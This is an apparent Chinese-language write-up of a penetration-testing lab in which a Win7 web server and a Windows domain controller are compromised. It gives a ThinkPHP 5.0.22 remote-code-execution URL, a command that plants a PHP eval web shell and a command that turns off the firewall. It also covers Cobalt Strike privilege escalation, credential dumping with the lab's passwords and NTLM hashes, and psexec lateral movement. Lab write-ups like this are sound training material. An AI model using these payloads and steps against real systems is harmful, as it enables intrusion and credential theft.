一、环境搭建:
①根据作者公开的靶机信息整理
虚拟机密码:
Win7:
heart 123.com #本地管理员用户
sun\Administrator dc123.com #域管用户,改为了panda123..
Win2008:
sun\admin 2020.com #由于需要改密码,我更改为panda666...
②虚拟机网卡设置
Win7双网卡模拟内外网:
外网:桥接模式与物理机相通
内网:根据公开截图是:192.168.138.136,仅主机模式
利用管理员账号登进win7,并将其中一个网卡ip设置为桥接模式的通网段ip:192.168.1.136
Win2008只通内网不通外网:
内网:根据公开截图是:192.168.138.138,仅主机模式
③整体环境梳理
靶机:
Win7:192.168.1.136(外网),192.168.138.136(内网)
Win2008:192.168.138.138(内网)
攻击机:
kali:192.168.1.2
win10:192.168.1.7
利用本地管理员heart登陆win7,并开启phpstudy,启动web环境:
二、web层渗透:
0x01 前期信息收集与漏洞利用:
①端口、服务探测:
nmap 192.168.1.136 -T4 -A -sV
②初探web
发现开启了80和3306,访问80端口的http服务,发现是thinkphp
③thinkphp rce一把梭
随便输入路径,让其报错,发现是5.0.22版本
直接去搜索历史漏洞,看下有没有可以直接getshell的,不难找到exp,而且直接RCE了
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
④getshell
然后直接利用echo写入一句话方便后续操作,由于是靶机环境,不考虑免杀,实战中可能需要免杀一句话
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo ^<?php eval($_POST[cmd]);?^> > shell.php
直接利用蚁剑连接webshell
0x02 目标本机信息收集
①发现目标有两个ip,并且存在域sun.com,DNS服务器为192.168.138.138,基本上DNS服务器就是域控
查看进程信息,并没有发现杀软
那么目标肯定是横向移动,最终拿下这台域控了,这里为了熟悉Cobaltstrike,所有的内网渗透操作将利用cs完成,并且不存在杀软,就不用考虑免杀了,毕竟是靶机嘛emmm...
三、内网横向渗透
0x01 让目标主机上线
①使用web_delivery的方式,生成powershell命令
虚拟终端执行payload
稍等一会就看见cs上线了
0x02 提权
①设置心跳时间为1s,查看当前权限为管理员权限,为了后续更好操作,提权至system
②查看补丁情况,并分析可利用漏洞提权exp
shell systeminfo
windows提权辅助脚本提示存在MS15-051
③利用CS一键提权
提权成功返回一个system权限的beacon
0x03 内网横向移动
①查看防火墙情况,发现是开启状态
shell netsh firewall show state
为了方便操作,将防火墙关闭
shell netsh advfirewall set allprofiles state off
②内网常规信息收集
当前域内计算机列表:
域控列表:
用户列表:
③抓取凭证hash
抓取到的全部明文密码、ntlm hash
④上线域用户leo
Spawn As派生会话
选择leo的凭证
成功拿到leo的beacon
⑤继续收集域内信息
net user \\192.168.138.138
又发现多了一个admin用户
⑥信息汇总整理:
域名:sun.com
域控:192.168.138.138,机器名:DC
域内机器:192.168.138.136(win7)、192.168.138.138(DC)
所有用户:
非域:heart:123.com;ntlm:afffeba176210fad4628f0524bfe1942
域内用户:sun\administrator(域管):panda123..;ntml:31d6cfe0d16ae931b73c59d7e0c089c0
sun\leo:123.com;ntml:afffeba176210fad4628f0524bfe1942
sun\admin(未知)
krbtgt(未知)
0x04 攻击域控
①网络环境分析
边界机win7可通外网、内网,域控只能与win7通信,不能出网,所以想要拿到DC权限,可以通过:
1.psexec配合SMB beacon上线DC机器
2.link Listener+IPC$连接上马
②横向psexec拿下DC beacon
选择域管凭证,并选择smb beacon的监听器,选择一个会话进行横向移动,点击choose
成功利用域管账号拿下DC的smb beacon
③导出域内所有hash
四、总结
0x01 总体内网拓扑
0x02 整体思路
1.端口探测发现80端口web服务,利用thinkphp 5.0.22 rce漏洞getshell
2.简单主机信息收集发现双网卡,判断存在内网环境,并且有域
3.配合windows检测脚本,判断出可利用exp,并利用cs进行提权
4.内网、域常规信息收集,并关闭了防火墙方便后续操作
5.通过凭证hash获取到域用户、域管、其他用户的密码、hash
6.利用抓取到的域管凭证+psexec进行横向到域控
7.经过分析当前网络情况发现域控并不能出网,所以通过SMB beacon+psexec进行横向,最终拿下域控